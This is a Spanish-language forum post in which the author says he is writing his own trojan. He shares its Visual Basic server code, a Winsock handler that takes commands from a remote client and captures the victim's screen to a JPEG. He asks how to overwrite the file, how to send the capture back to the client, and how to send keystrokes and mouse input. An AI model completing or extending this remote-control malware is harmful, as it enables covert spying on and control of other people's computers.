Buenas a tardes a todos resulta que estoy desarrollando mi proio troyano, y me acabo de atascar en el siguiente problema al agregarle la funcion de captura pantalla.
Esto es lo que hago en Server:
Private Sub ws_DataArrival(ByVal bytesTotal As Long)
On Error GoTo Error
Dim datos As String
Dim vDatos As Variant
ws.GetData datos
vDatos = Split(datos, "|")
Select Case vDatos(0)Case "Capturar_Pantalla"
Dim captura As New cJpeg
captura.SetSamplingFrequencies 2, 2, 2, 2, 2, 2
captura.Quality = CInt(vDatos(1)) ' La calidad la mando desde el cliente
captura.SampleScreen
captura.SaveFile ("D:\" & "captura" & ".jpg") ' Lo guardo en D para localizarlo mejor
End Select
Error:
End Sub
mi problema es que como haga para que al enviar por segunda vez sobreescriba la imagen anterior, ¿Como hago esa verificacion para ver si el archivo existe?, y si sobreescribirlo.
Otra cosa no se como enviar esa imagen al cliente y ponerlo en un imagebox?, ya si envio
Me da erro que no coinciden los tipos.
y aprovecho para decirles como envio pulsaciones de teclado y de mouse.
Gracias de antemano.
Mostrar Mensajes
